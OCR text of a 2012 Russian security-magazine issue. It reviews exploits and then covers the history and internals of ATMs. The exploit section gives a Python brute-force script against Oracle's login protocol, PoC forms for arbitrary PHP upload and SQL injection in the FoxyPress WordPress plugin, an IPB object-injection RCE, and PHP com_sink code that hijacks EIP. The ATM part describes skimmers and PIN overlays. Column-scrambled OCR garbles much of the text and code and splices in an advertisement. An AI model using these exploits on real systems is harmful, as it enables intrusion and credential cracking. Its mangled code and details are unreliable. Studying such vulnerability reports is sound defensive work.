tYARlll}lG Вся инфорtlация предоставлена исключительно в ознакоtчtительных целях. ни редакция, ни автор не несут ответственности эа любой возttоlкный вред, причиненный iiатериала1.1и данной статьи.
*
.\
/ Ъ',,
l(
\ ))
Если отладка процесс -это удаления ошибок, то программирование должно быть процессом их внесения. Э.,.Щейкстра
0бзор
ч,
экспло
и
06ход аутентификации в ОrасIе Database
llIlllllý
щЕ
IAV:
N/AC : L/AU : N/C : Р/l : Р/А:
N
лишь имя пользовател
я и
имябазы данных на сервере.
он запускает процесс аутентификации. Сервер присылает ему зашифрованный идентификатор сессии и соль. Ключом вданном случае выступает не что иное, как пароль + соль. Кроме этого, было замечено, что в идентификаторе сессии последние восемь прямо магия чисел какая-то, позволяюцифр всегда 88888888 щая атакующему с высокой долей вероятности определить, что ключ подобран правильно. Интересно еще, что идентификатор сессии не отсылается на сервер и действия атакующего не попа-
-
J
Протокол аутентификации 0гасlе позволяет удаленному атакующему получить зашифрованный идентификатор сессии и соль произвольного пользователя. На основании этихданных становится возможным провести атакутипа брутфорс. Впервые уязвимость была продемонстрирована общественности исследователем Эстебаном Мартинесом Файо [ЕstеЬап Магtiпеz Fауо) на мероприятии Еkорагtу sесuгitу сопfегепсе, проходившем в Буэнос-Айресе. Интересев тот факт, что исследователь отправил отчет 0гасlе об этой уязвиN4ости в далеком мае 20]0 года. 0гасlе пофиксила его в новой версии протокола в середине 201 1 -го, однако новая версия протоколааутентификации не используется втекущей версии базы данных по умолчанию. И воттолько в середине октября 2012-го выходит патч, который реал ьно делаеттекущие версии базы данных невосприимчивыми к этой уязвимости.
щцЕ Сама по себе атака очень проста. Атакующему необходимо
тов
2 Сервер rеllерирует илеllтифихатор сессии вила session_id
ХхХхХХ,..88888888
З Происхолит ulифроваllие идеll]ифихатора Ellcrylped Session ld = E(session id, SHAl(user
Ellclyptcd Session
Щr-4. знать
!алее
=
Процесс аутентификаци
и в
базе данных 0rасlе
ld;
"^'--€
сессии: paSS+Sall))
Выполнение 2 Роwеr Board произвольноrо кода в lnvision
дают в лOг сервера, так что прOвести атаку мOжно полнOстью незаметно. Эксплойтдля подбора пароля пользователя я помещаю далее:
lllllllllF-
imропt hashIib fгоm Сгурtо.Сiрhег impoгt AES
щЕ Широко известный
def decгypt(session, salt, passwoгd):
успеха уязвимOсти:
plain
= decryptoг.decnypt(session) геtur^п plain
21.10.201?
2З.1
?9.10,2012 З1,1 0.2012-
salt_hex ='А7193Е546377Ес566з9Е' подбираемыми
fог
в
in
Ьпеаk
== ' \х08\х08\х08\х08\х08' IS "%s"' % раsswогd
е
11
1
0.
-
2.0.3, 10,2.0.ц,'l 0.2.0.5, 11,1.0,7, 11,2.0.2
октябрьский патч от 0гасlе - goo.gllPWTYq. Если установка патча не представляется возможной, то существу(костылей>: ет несколько 1. Можно использовать базуданных версии 1 0g, в которой протокол аутентификации не является уязвим ым. 2, Прописать на клиентском и серверном конфиге sqlпеt.ога строчку SQLN ET.ALLOWED_LOGON_VERSlON=1 2, которая задействует новыЙ механизм аутентификации. З. Настроить внешнюю аутентификацию через SSL или службу
L.
г0 в.
конечно же, рекомендуется использовать случайно сгенерированные пароли длиной не менее девяти символов, а лучше все двадцать. Это сильно усложнит подбор пароля за разумный прOмежутOк времени. Ну и
{
:$settingse
{
==
'а, ')
{
}
Уязвимость проявляется при вызове метода uпSегiаlizе, которому передается значен ие пользовательских данных без должной что строка фильтрации. Заложена всего лишь одна проверка
:
ЕцIщ Установить
0
:
пеtuгп unseгialize(stгipslashes(uгldecodee ($_value)));
.2.0.З.
катал
{
$_cookiesSet[$name] ; (1sset($_COOKIEIipsRegistгy: :
$_value = $_COOKIEIipsRegistгy: :$settings[' cookie_id' ] .$паmе] ;
начинается
и
открытых источниках.
if (substг($_value, 0, 2)
его работы необходимо забить свои значения переменных SeSSion_hex и SaIt_hex, которые слегкостью можно узнать при помощи WiгеShагk. 0чевидно также, что потребуется расширение списка подбираем ых паролеЙ, либо три виальная замена его на словари с паролями в виде файлов (таких словарей на просторах Сети огромное количество], либо создание дополнительной функции генерации паролей.
0
в
['cookie_id' ].$паmе]))
-
!ля
IшIЕ гасl Data base Sегvеr
публикация
} else 1f
# Если последние BoceNlb символов идентификатора # 88888888, то принимаеN{ пароль за верный
]
п атча: g оо, g ]/xoatp; номе р CVE за п рошен; назна ч ен CVE-20 1 2-5692;
геtuгп self
salt_hex.decode('hex' ), passwond) ргiпt 'Decгypted session_id fоп раsswогd "%s" is %s' % (раsswогd, session_id. encode( 'hex' ) )
[40:
ости;
в методе lPSCookie::get[) и определен /аdmiп/sоuгсеs/Ьаsе/соге.рhр (строка 40'l 5 и далее]:
session_id = decгypt(session_hex.decode('hex' ), *
'PASSWORD
м
if (isset(self: :$_cookiesSet[$name]))
# flешифруем идентификатор сессии
ргiпt
уязви
вы ход
function get($name)
passwoгds:
if session_id
ие
static public
паролями
['test','раsswопd','огасlе','dеmо']
раsswогd
обна ружен
щцЕ Уязвимый код находится
# соль 10 байт
с
-
0.2012-оповещение вендора;
25.10.2012 25.10.2012
# Зашифрованный идентификатор сессии 48 байт session_hex =' ЕА2O4зсв8в46Ез864зllс68вDс161F8р сА170з63сlЕбt57F 3 Е вс64з5 F 541А8239вбDВАl6ЕААВ5н 4225 5 з д7 59 8 1,4з Ё7 87 67,
passwords =
N/AC : L/AU : N/C :C/l : С/А:С
в узких кругах исследователь безопасности Эджидио Романо lEgidio Rоmапо aka EgiX) обнаружил уязвимость в форумном движке Invision Роwег Воагd, которая позволяет выполнить произвольный РНР-код на целевой системе. История
pass_hash = hashlib.shal(passwond + salt) # flополняем длину ключа шифрования до 24 байт key = pass_hash.digest() +'\х0O\х0O\х0O\х00' dеспурtог = AES.new(key, AES.MODE_сBс)
+ Список
IAV:
-
с символов
(а:>,
этого
-
недостаточно,
чтобы
предот-
вратить внедрение объекта РНР. Атакующий может послать сериализованную строку, которая будет представлять собой массив объектов. Это может быть использовано для исполнения произвольного РНР-кода через метод __destгuct(] класса dbMain, который, в свою очередь, вызывает методwгitеDеЬugLоg для записи отладочной информации в лог-файл. Произвольный РНРкод может быть внедрен исключительно через переменную $_SERVER[' aU ERY_STRl NG'J, поэтомудля успешной эксплуатации уязвимости необходима активированная опция shогt_ореп_ ta9. Скачать эксплойт можно по этой ссылке: goo,g /004Мс.
IilщЕ lnvision Роwег Воагd
З.1.2 и далее вплоть до З.З.'l
.
trцщщ
Установить соответствующее обновление.
1 9
}.l н
orкecTBe_ll.H ble уяз
FохуРrеss Plugin
llllllllll}iy,
щЕ и вновьwогdргеss.
в и
},l
(АV:
ости
в Wo rd
Рrеss
N/AC: L/AU :S/C: P/l : Р/А: Nl
И вновь исследователь Янек Винд [Janekvind uwагахеri, Вот это действительно множественные уязвимости в отчете фигурируют целыхдвадцать пунктов. Этот плагин можно
-
)
смело использовать в качестве образцово-показательного примера небезопасного веб-приложения. Мы рассмотрим наиболее интересные пункты из всего отчета. С полной версией можно
ознакомиться по ссылке ооо.ql/!пzг.
aK,....,...лUTHJ:o.....;?16:l]8j-,...-...лUTB-SID.....8dф-..........,.....J ,ЕА2о. ]1 1(68sо( 16l rЕ(лl 7б]оrс ЕбЕ,7: ]a Kcl з:r:ll AEz зgзовдtоi
Е 9q{!Y' . . , k в8вi6€ ,tбJ {22rr]л75981{ ]Е78767. . .,
щЕ 3агрузка произвольного
1
тв=чFR_Dдтд. . . . . л719]Е5a6]77Ес566]9сl. . . . . . . . лUп-GLоалLLY_UIIIQUЕ-DсID. . .
файла в скрипте dосчmепthапdlег.рhр. Причина уязвимости отсутствие должных проверок в части функциональности загрузки файла. !ля успешной эксплуатации нужно располагать аккаунтом администратора. Кусокуязвимого кода:
8А7зtЕЕ8ЕЕкOЕ9;],{9Е.(Ео8лaа17. ]оо сАaнЕ_сл(н€rА6.....
.......
.
rtm_q<KHB;vцsrzg,
...
]еiiбвва.
.
. . . , . . . . . дrrгх
-
Lt' (!еmрtу($_FILЕS)) $taгgetpath =
in"rЛl.n.r" ($fi
{
ABSPATH. INVENTORY_DL_LOCAL_DIR;
= fохурrеss_GепегаtеNеwFiIеNаmее
1eExtension, $inventory_id,
$taгgetpath, $рпеfiх);
$taгgetpath = $taгgetpath.$newfilename;
if
(move_uploaded_file($_FILES[' Filedata' ]* i, $tагgеtраth) )
[гrrоитьsо-
[ 'tmр_паmе'
Как мы видим, проверками параметров функции, загружающей файл, и не пахнет. В результате атакующий способен загружать на сервер файлы с произвольным расширением. В случае с РНРфайлами это ведет к классическому RCE [удаленному исполнению кода). СценариЙ эксплуатации. 0ткрываем страницу редактирования прOдукта:
http : //localhost/wp342,/wp- admin/post. ро
st =4З&а ct ion=ed
it
php
?р
Находим ссылку под названием Digital Downloads. Кликаем на кнопку<Вгоwsе Files>. Выбираем РНР-файл, который нужно загрузить. В результате появится ссылка, по которой доступен загруженный файл:
аЬ
l
е s /
my_down
1oad_j w82kuO j
_4З . php
Переходим по ссылке и радуемся результату выполнения скрипта. SOL-инъекция в скрипте documenthandleг.php. П р ич и на возникновен ия недостаточная фильтрация пол ьзовательских данных.,Щля успешной эксплуатации потребуется залоги ниться под администратором. Кусокуязвимого кода, начиная со строки ]4:
-
,
(
l, ,пnty($_FILES)
)i
$inventoгy_id = intval( $_BOSTl'inventoгy_id' $downloadabletable = $_РOSТ['ргеfiх' ];
$qчегу = "INSERT INTo
"
$downloadabletable *
. " SET inventoгy_id="' р . $inventoгy_id "' , filename=' " р . mysql_escape_stгing($newfilename) е
]
процессе аутентификации
$wpdb- >qчегу($qчеrу
в
l|1
0rасlе
н
);
Как ты мог заметить, переданный пользователем POSTпараметр 'рrеfix' используется в запросе SOL "INSERT lNT0" в качестве имени таблицы. Здесь нет никакой фильтрации, поэтому атакующий имеет прекрасную возможность вставлять любыеданные влюбыетаблицы в рамкахтекущей базыданных. Пример эксплуатации:
<
z9
в
. "', maxdownloads= '" р . mysql_escape_stning($downloadablemaxdownloads) . "', status = 1"j
<
http : // Iосаlhоst/wрЗ42lwр- content/e i nve nto гу_dоwп 1oad
Перехваченные данные сессии
Г-s,".
htm1 body
> >
сепtег> <fогm action= <
http: //localhost /wрЗ42/wр- admin/laction=foxypгessdownIoad&secuгity=H 844Ь64се45" method="post" enctype="multipant/foгm-data"> <input type="fiJ,e" name="Filedata"> admin
-а
jax.
"
php
<input type="hldden"
name=e
"downIoadablemaxdownloads " value=" ]. " > <input type="hidden" паmе="ргеfiх" чаlче="wапахе">
<input type="submit" value="Test">
);
</fогm>
</сепtег> </body> </htm1>
SOL-инъекция в скрипте fохурrеss-mапа9е-еmаils.рhр. Причина возникновения также недостаточная фильтрация пользOвательских данных, а именно GЕТ-параметр id, ,Щля успешной эксплуатации потребуется залогиниться под администратором. Ниже приведен кусок уязвимого скрипта foxypгess-manage-emails.php, начиная с 14-й строки: {:
i
u п
ct i
о
цlоЬаl
п fохургеs
s_manage_ema
i 1s_page_load
( )
$wpdb;
if (isset($_GET['mode' ]) && $_GET['mode' ]=='edlt'
t
if ( 1sset t
($_POST[' foxy_em_save'
]) )
)
iroJ. = "UPDATE ".
UPDATE wp_foxypness_email_templates
$wpdb->рпеfiх
"foxypгess_email_templates set foxy_email-template_name=' ". $tеmрlаtепаfrё.''', foxy_email_template_subject='
".$subject.''',
foxy_ema il_template_ema i l_body=' " . $content
fоху_еmаil_tеmрlаtе_fгоm='" $fгоm "'
WHERE
email_tempIate_id=". $_GETIid]
.''',
htmI
>
<
body
>
edit
.
php
?
0.ц,2,7l,
mапаgе - emails&mode=edit&id=waгaxe"
<
type="hidden" type="hidden" type="hidden" type="submit"
еmаil_tеmрlаtе_id=wагахе
ЕцIщ 0бновиться
" http ; //}ocalhost / wрЗ42 / wp - admin/post_type=foxypness_pnoduct&page= е
<input <input <input <input
foxy_email_template_fnom='' е WHERE
WоrdРгеss FохуРгеss Plugin
<сепtег> <fогm action=
method= " post'' > name="foxy_em_save" value=''1''> name="templatename'' value=''2''> name="subject" чаlче=''З''>
value="Test">
/fогm>
0./+.2.5.
до последней версии (на момент написания
</body> </html>
Результат работы:
Выполнение произвольного кода в РНР {,_ 5.3.4Win Com ]ч{оdчlе Com sink
lllllllfiф,
щЕ Уязвимость
(
AV: N /АС:
L/A
ч:
N/C: P/l: Р/А:
N
щля начала рассмотрим простейший пример работы с модулем. Следующий код запускает lпtегпеt Ехрlогег и открывает страничку Google:
hjопdргеss database еггог: IUnknown соlчmп 'wагахе' in 'whеге clause']
Учебный Центр N91 в РоGсии!"
цр""Ёffh кСП ЕЦИАл ист,,
Более 1 00О курGов: . этичное xaкepcтBo*"n . Обновленная линеЙка
при МГТУ им. Н.Э.Баумана
курсов Microsoft
(windows 8, Windows sеrvеr 2012, Windows & Visual Studio 2О12, SQL Server 20.12)
. Сетевые технол огии (Unix, Cisco и др.)
. Программирование и СУБД
. Облачные технол огии, вирryализация
. Информационная безопасность . Интернет-технологии
Управление проекга ми и ITSM . Курсы Apple: Мас, iPad, iPhones .
21 год на рынке lТ-обучения!
.Лучщий учебный l-]eHTp Microsoft в России! .Удобный формат обучения: очное, вебинар, открытое
-
была найдена в модуле Com_sink, обеспечивающем возможность взаимодействовать с СOМ и .NET в Windows. 0шибка позволяет атакующему выполнить произвольный код в системе с правами пOльзOвателя, запустившего скрипт.
</сепtег>
и индивидуальное
обучение
Гарантированное расписание на 201 2-201 3 г. . Все преподаватели - практикуюцие специалисты .
е
foxy_email_template_email_body='',
IЕщЕ
;
Пример эксплойта: <
set foxy_email_template_name=' 2', foxy_email_template_subject=' З',
. Подготовка к мФцународным . Гоryдарственные программы
сертификациям подготовки
3апишитеGь Gейчас и
**Подробности смотрите на сайте www.specialist.ru
)m получ ите скидку
a до
2ООБ-
]
*** ERROR: Symbol file could not Ье found. Defaulted to ехропt symbols fог C:\wamp\bin\php\php5.4.З\php5ts.d11 ýе
-
1!.
ýdёо&фt-
ýaxeJDEay /
php5ts ! php_stгftime+Oxadc:
102f59bd
;
St
8Ь06
mov
ds | ао2з : 4З434З4З=?
еах,dwогd
рtг [esi]
? ? ? ? ? ? ?
lo4ado19o
102f59bf 8d4dd4 102f59c2 102f59сЗ 102f59c4 102f59c5 102f59сб
}
3апуск п ростого }.le5sa9eBox'a
<
в РН Р 5.З.1
Win com Module com_si nk
5t 5З 5З 56 ff51t1
}еа
есх, Iebp-2Ch]
push есх push еЬх push еЬх push esi са11 dwогd рtп
[eax+lOh]
Таким образом можем получить контроль над ЕlР:
?php
<
c]ass IEEventSinkeг { vаг $tегmiпаtеd = false;
?php
$eip ="1х44\х4з\х42\х41"; /
function РrоgгеssСhапgе($ргоgгеss,
$рпоgгеssmах) { echo "DoWnload ргоgгеsS: $ргоgгеSS $ргоgгеssmах\п"1
/$еiр= "'ix4b\xe8\x57\x78"j jmp edI
$еах
="
\x80\xаl\x8d\x04"
;
$dеоdгапt=" "; $ахеsргау = stn_repeat($eip.$eax,Ox80)
j
}
function DocumentСomplete(&$dom, $чг1) echo "Document $чп1 соmрlеtе\п";
/
1
}
function OnQuit() echo "Quit!\n";
tJ }
$ie
= пеw
СOМ(
/
{
$trris->tenminated
= tгче;
);
com_meS Sage_pump }
$ie
(
4000
<0х4В32 j $axeeffect++
$deodrant. =$ахеsрпау;
] ] $а[ ] $s [ ] $u[
$г[
{
);
=$dеоdгапt;
=$dеоdгапt.$tегmiпаtе; =$deodnant. $tenmlnate; =$deodгant. $tегmlпаtе;
$чVаг =
= nulI;
пеLл VARIANT(OIO4\1OOOO+180).;
$Ьuffег = "\х9O\х9O\хсс\хсс\х41,\<много_х41>";
?>
$чаг2 = neLt VARIANT(Ox41-4\4242)з
Первый аргументв вызове соm_еvепt_siпk-адрес вызываемого СOМ-объекта, и он определяется пользователем. Никаким
com_event_sink( $vVan, $чап2, $buffen
дOполнительным
прOверкам этOт адрес не пOдвергается,
и
$buffег = stг_гереаt("В", 1аа0);
This exception
mау Ье expected and handled. eax=048d018o еЬх=оаооовоо ecx=ooclf9bo edx=0114dbc8 esi=048dOOb4 edi=0114dc20 eip=41414141 esp=Ooclfg74 еЬр=66.119ос iop1=0 nv up ei р1 zг па ре nc
?>
cs=001b ss=oo2з ds=оо2з es=o023 fS=O0зЬ
Сам Access Violation: IOOOOO0\
(fiгst сhапсе)
chance exceptions аге герогtеd Ьеfоге any exception handIing.
This exception mау Ье expected and handled. еах=оооOоооо еЬх=оооооооо есх=ооз72аdо edx=o114dd88
еsi=43434з4з edi=0114d9b8 elp=lozf59bd esp=60clf988 ebp=96.1fndc iop1=0 nv up ei р1 zг па ре nc cs=001b ss=оо2з ds=оо2з еs=оо2з fS=O0зЬ gS--оооо еfl=оооlQ246
(cbO.7d4): Access violation - code сОаОООО5 (fiгst chance) chance exceptions аге герогtеd Ьеfоге апу
exception handllng.
$чVаг = new VАRIАNТ(0х4З43434З)j $чVаг2 = пеw VARIANT(Ox41414141); com_event_sink($vVaг, $чVаг2 , $Ьчffег );
(ЗlО.lfс): Access violation - code
В результате запуска скрипта будем наблюдать следующее:
Fiгst
?php
First
);
?>
этот
адрес используется напрямую. Пример кода, приводящего к Access Violation: <
)
$teгminate = "т";
//www. googIe. com" ) ;
while( !$sink->teгminated)
-- 4вз2 4ьOа $axeeffect=0; $axeeffect
}
com_event_sink($ie, $sink, "DWebBгowseгEvents2" ); $ie->Visible = tгuе; :
г (
{
"IпtегпеtЕхрlогег.Аррliсаtiоп"
;
/19?оа
fo
$sink = new IEEventsinkeг(); $1е- >Navigate( "http
/o48da\9o
echo stгIеп($ахеsргау)
gs=oooo
еfl=оооlо246
4I4I41,4\ ?? ??? Загрузить свой шелл-код пусть останется в качестве домашнег0 задания.
РНР 5.З.4 и, возможно, более ранние.
щцIщ Существует обновление,
устраняющее данную уязвимость.
fE
-]
d '
ц
Взло].{
0льга Кочетова lolga,v.kochetovaOgmail.coml
КРАТКИИ КУРС ПРЕПАРАЦИИ
AUTOMATED
TELLER
мАснlNЕ
Сколько денег в банкомате? Что интересного
есть внутри? Безопасен ли этот девайс? Как спастись от злоумышленников и чт0 делать, если все-таки попался на крючок? для нАчАлА нЕмнOг0 истOрии
Идея банковской автоматической денежной машины [АТМ - Automated Теllег Machine] в разнOе время прихOдила незнакOмым друг другу личностям в Японии, Великобритании, США, Швеции, но первым попытался зафиксировать ее Лютер ,Щжордж Симджян. Автор наделил устройство функцией выдачи наличных без списания средств со счета на тот момент {19З9 год] такой технической возможности не существовало. Армяно-американский [по некоторым данным турецко-американский] изобретатель различных устройств и обладатель более 200 патентов, Симджян предложил опробовать аппарат одному из крупнейших американских банков City Bank of New Yогk, однако через несколько месяцев банкиры отказались 0т нOвшества, так как не пOсчитали его применение необходимым, Так лавры первопроходца достались !жону Шеперд-Бэррону, работавшему по заказу компании De La Ruе [6ританский всемирно известный производитель бланков ценных бумаг и банковского оборудования}. 0н обратился со своей идеей в банк Вагсlауs, руководство кOтOрOг0 0казалOсь дальнOвиднее свOих американских кOллег и пOдписал0 дOгOвOр, п0ложивший начало истории банкоматов. Первый и на тот момент единственный банкомат был установлен в северном боро Лондона, Энфилде, 27 июня'l967 года в отделении Вагсlауs. БанкOмат выдавал деньги п0 специальным чекам, которые нужно было заранее получать в банке. Максимальная сумма, доступная для снятия в банкомате в конце 60-х, составляла 1 0 фунтов. Через несколько лет к чеку стали выдавать идентификационный номер, прототип нынешнего РlN-кода [PlN Регsопаl ldentif ication
-
-
070
NumЬег). Запатентовал систему аутентификации на основе машиночитаемой карты и секретного кода к ней другой талантливый шотландец,
инженер и изобретатель !жеймс Гудфеллоу. Впервые массOво банкоматы установил в 1972 году американский Citibank, бывший City Bank of New Yоrk - тот самый банк, который ранее отказался от устройства, предложенного Симджяном. Первые опIiпе-банкоматы, носившие название cash-point, появились в 1972 году в британском банке Lloyds, Разработанные компанией lBM устройства работали с пластикOвыми картами, 0снащенными магнитной полосой. Позднее появились банкоматы с функцией приема наличных (Cash lп] и банкоматы с замкнутым оборотом наличности [Cash Recyclingl.
нАши дни
статистика показывает, что сейчас насчитывается более 2,45 миллиона устройств по всему миру; самый северный банкомат установлен в поселке Лонгйир на острове Шпицберген (LопgуеагЬуеп, SчаlЬагd, Nогwау), а самый южный - на станции Мак-|'ч'lердо в Антарктиде [МсМuгdо Station, Апtагсtiса]. К лидерам мирового рынка банкоматов принято относить так называемую большую тройку американцев NCR и Diebold и немцев Wiпсог Niхdогf. В последние годы в России к ним присOединились вOстOчные сOседи корейцы Nautilus Hyosung. С недавнего времени российские кардхолдеры [сагdhоldег
-
-
держатель карты) имеют возможность обслуживания на банкоматах отечественного производства DORS. По способу установки современные банкоматы делятся на Lobby {для установки внутри помещений) и Тhгоugh The Wall [для установки через стену). С точки зрения функционала банкоматы можно разделить на Cash 0ut (классический банкомат на выдачу), Cash lп + 0ut [выдача + прием, полнофункциональный] и Cash Recycling lзамкнутый оборот наличности). <Начинку, для банкоматов производят несколько фирм, и устройства разных вендоров, по сути, представляют собой набор стандартных кOмплектующих.
А чт0
внутри?
В верхней части А-М, именуемой сервисной
зоной или кабинетом, обычно располагаются системный блок, модуль спецэлектроники, картридер, криптоклавиатура, чековый принтер, видеонаблюден ие. Часть банкоматов 0снащена журнальными принтерами, также располагающимися в кабинете. Журнальник предназначен для записи лога работы банкомата. В современных моделях его заменил электронный журнал, целостность которого контролируется цифровой подписью.
СИСТЕМНИК 0БЫКНOВЕННЫЙ
-
Мозг банкомата системный блок с традиционным наполнением. На расположенном внутри жесткOм диске устанOвлена 0перациOнная система с необходимым набором драйверов и прикладного П0. 0бычно это Windows
хдкЕр 12l1b7l2012
Банкомат: история болезни
СПЕЦЭЛЕКТРOНИКА
ХР SР2lSРЗ, изредка встречаются Embedded/ РOSRеаdу-варианты и уж совсем редко Windows NT и <динозавро 0S/2. Некоторые труЪ-банкоматы работают под Linux'oM.
сOФт и 0БмЕн
дАнными
Прикладное П0 у каждого производителя собственное, разработанное в соответствии с 0траслевыми стандартами и спецификациями. ПП0, с одной стороны, представляет собой интерфейс обслуживания и шину связи с прошину взаимодействия цессингом, с другой с периферийными устройствами, Управление банкоматом происходит обычно по dс-протоколу; NDC или DDC - diгесt соппесt протоколы, разработанные компаниями NCR и Diebold соответственно. 0стальные производители либо разрабатывают собственный диалект, либо пользуются нативным. Суть dcпротокола в том, что АТМ выполняет команды прOцессинга, не принимая решений на уровне устройства. Все команды, оIветы и состояния 0писаны определенным набором и последовательностью цифр и букв, Невозможно внедриться в (разговор> машины и прOцессинга, не зная прOтокола и особенностей настроек для конкретного
-
устройстваl
Информация о транзакциях шифруется уровне ПП0 или устройств и передается в прOцессинг по защищенному каналу, обычно по протоколу TCP/lP [очень редко по Х.25). Способ передачи данных и ее защиты выбирается исходя из особенностей организации сети, с испOльзOванием специального оборудования. гlа
иБп Корректное завершение работы при отключении электричества обеспечивает источник бесперебойного питания. 0бычно заряда батареи достаточно, чтобы закончить текущую операцию и перевести банкомат в режим обслужива"Не 91" [или завершить работу, в зависимости от настроек), но существуют модели UPS, поддерживающие рабочий режим устройства от батареи на прOтяжении нескOльких десяткOв минут.
Камера. Габаритами сравнима
хдкЕр
12116712012
с
батарейкаttи типоразr.rера
С
Блок специальной электроники у каждого производителя банкоматов имеет свои вид и название, н0 назначение 0дн0 - управление индикацией и датчиками. Работа с банкоматом должна быть интуитивно понятна для любого пOльзователя, и этому способствуют индикаторы устройств, которые в конкретный момент ожидают действий клиента. 0бычно подсвечивают слоты вставки/возврата карты, внесения/выдачи денег, слот выдачи чека.,Щатчики, которыми фактически напичкан банкомат, фиксируют положение финансовых устройств, состояние
дверей,
изменения
температурыl
наличие вибрации, удара, обеспечивая в том числе безопасность АТМ.
КАРТРИДЕР Щля обработки карт в банкоматы устанавливается картридер, работающий с <полосатыми> и чиповыми картами. 0бычно используется
моторизированный вариант, то есть карта принимается и вOзвращается при помощи электропривода. На этапе вставки карты устройство проводит ее предварительную прOверку, 0пределяя дOступнOсть источника данных и их сOOтветствие заданным настройкам, если карта <пOдхOдящая) выполняется выбранная клиентом операция, Безопасность каждой модели картридера подтверждается соответствующими сертификатами. Но как раз картридер наиболее привлекателен для мошенникOв, ведь именн0 этOт мOдуль считывает данные с полосы Тгасk2, KoTopbie используются для проведения транзакции. Злоумышленники устанавливают на слOт картридера скиммингOвые накладки, сOдержащие считывающую головку и флеш-память, в которую записываются пOлученньiе данные. !ля предотвращения скимминга карточных данных в картридерах предусмотрена функция неравнOмерная пOдача карты, джиттер внOсящая шум в считаннь]е данные и нарушающая их структуру. Также используются антискимминг, активный или пассивный. Смысл пассивного заключается в особой конструкции слOта, кOтOрая препятствует устанOвке на-
Epic Fаil
кладки, а активный создает нейтрализующее электромагн итнOе пOле,
криптOклАвиАтурА,
0нА жЕ PlN PAD
ввода РlN-кода и других данных используется ЕРР-клавиатура [Епсгурtiоп PlN Pad), безопасность которой подтверждается соответствующими сертификатами. Шифрование в клавиатуре происходит на ключах ТriрlеDЕS [также используются алгоритмы DES, RSA], с помощью которых банкомат идентифицируется в процессинге, а также формирует криптоблоки транзакционных данных.,Щанные шифруются на паре ключей, загруженных в клавиатуру, а расшифровываются только на ответной паре в процессинге. В целях без0пасности компоненты ключей никогда не выдаются одному сотруднику. РlN-код вводится в криптOклавиатуру, где на ключах формируется РlN-блок, передаваемый в процессинг для идентификации кардхолдера. РlN-код не хранится и не передается в 0ткрытOм виде, н0 мOшенникOв это не останавливает. Ведь данных полосы карты недOстатOчн0 для хищения денежных средств, и для выяснения РlN-кода жулики устанавливают накладки на клавиатуру, оснащенные флеш-памятью для хранения считанных нажатий. ,Щля
(ЛИЦ0> Иногда вместо накладки мошенники устанавливают скрытую камеру таким образом, чтобы в объектив попадали клавиши. Камеру обычно прячут в выступающих на корпусе банкомата накладках, в рекламных (карманах>, распOлагающихся над клавиатурой чуть выше или сбоку. РlN-код также могут и просто подглядеть. Предотвратить это помогут зеркала или камеры
<обзор
за спиной".
Зеркала
работают
по принципу автомобильных зеркал заднего
вида, камеры же кOмплектуются мини-монитOрOм, расположенным на лицевой панели банкомата в поле зрения клиента. Oднако не все зеркала одинакOв0 пOлезны, некоторые
В3лоlt{ из них отражают конфиденциальную информацию, например в зеркальнOм пOтOлке мOжн0 увидеть вводимую в клавиатуру информацию, в том числе PlN. Помимо уже перечисленных мини-монитOра, клавиатуры и слOта картридера, на лицевой панели банкомата расположен пользовательский монитор. Сейчас он все чаще 0снащается сенсOрным стеклOм, т0 есть операции можно выбирать на экране нажатиями на определенные активные области. Но немало еще АТМ, где по бокам от монитора расположены функциональные клавиши, Их п0 четыре штуки справа и слева; такие кOличество и расположение связано с особенностями управляющего протокола, по которому работают банкоматы. 0тдельные модели банкоматов оснащаются мониторным конфиденциальным фильтром, который существенно уменьшает угол обзора и не позволяет подсмотреть данные на экране.
ПРИНТЕР ЧЕКOВЫЙ
На лицевой панели расположен
и слот чекOвOг0 принтера, сам же принтер нах0дится внутри, в сервисной зоне. Назначение пеустройства понятно из названия чать клиентских и инкассатOрских чекOв. Принтер оснащен ножом для отрезания чека; некоторые модели способны .вы-
-
плюнутьD
забытый
чек,
а часть
принтеров
умеет забирать назад забытые чеки и скидывать их внутрь банкомата. Принтер обычно работает по принципу термопечати. Такая технOлOгия позвOляет увеличить скOрOсть
печати и сделать ее практически бесшумной. Изредка встречаются матричные принтеры; они более шумные и медленные, но печатают на любой бумаге, в то время как термопринтер способен работать только с термолентой. У чеков, полученных на термопринтерах, есть недолгоодин существенный недостаток вечность. 0бычно срок читабельности таких чекOв не превышает пOлгOда, впOследствии информация выгорает полностью. Поэтому для печати информации, предназначенной для долгосрочного хранения, обычно используют матричные принтеры. Иногда встречаются банкоматы, оснащенные широкоформатными принтерами, с помOщью кOтOрых мOжн0 пOлучить, например, счет-выписку п0 карте.
-
ДИСПЕНСЕР
-
ГДЕ ДЕНЬГИ ЛЕЖАТ
Все банкоматы, выдающие наличные (Cash 0ut), обязательно оснащены диспенсером. Устройство состоит из нескольких частей, каждая из кOтOрых 0твечает за 0пределенную часть процесса выдачи денег. Можно выделить презентер [.лапаu, подающая деньгиJ, пик-модуль или фид-модуль [слот для вставки кассеты], собственно кассеты, транспортные пути (по которым подаются деньги), датчики [контролирующие движение денегJ, контроллер (плата обработки команд и хранения параметров) и шаттер {шторка, из-за которой выдаются деньги). Щеньги укладываются в вандалоустойчивые кассеты (обычно четыре штуки, реже пять) вместимостью две-три тысячи банкнот и запираются
Кик-сенсор
. .
Старайся использовать банкоматы, расположенные внrгри отделений банка или в крупных торговых центрах. Агрегат должен быть хороtло освещен: так плохим парням слOжнее установить на него свои цJryчки,
тебе проще их заметить. Часто наличие скимминговой накладки можно
а
определить визуальн0 прOст0 смOтри внимательно на банкомат; не пользуйся им, если видишь подозрительные щели, неровности, наклейки, а по возможности
.
позвони в банк и сообщи о своих подозрениях. 0смотри банкомат на предметустановки нештатных скрытых камер, кOтOрые направлены на клавиаryру. 06рати внимание на клавиаryру: если видишь пOдозрительные
-
.
см. выше :l. rголщения, неровности, щели прикрывай свободной рукой ввод РlN-кода
.
всегда, даже если банкомат не кажется тебе пOдOзрительным. По возt,lожности не пользуйся банкоматами, расположенными рядOм с зеркальными поверхностями или под ними. Если же ты все-таки решил воспользоваться таким
о?2
датчик, реагирующий
на удары по банко},lату
на особый замок.
!оступ к деньгам извне при закрытой кассете невозможен. В отдельную кассету сбрасываются забытые и отбракованные банкноты. По команде купюры набираются в кассетах заданным количествOм, п0 транспOртным путям перемещаются в презентер и выдаются пачкой через щель шаттера клиенту.
сЕйФ Устройства, принимающие или выдающие деньги, надежно спрятаны в бетонно-стальключевым нOм <пирOге) с двумя замками [обычно сувальдным) и кодовым [лимбовым или электронным) - в сейфе, имеющем 1-З-й класс устойчивости к взлому.
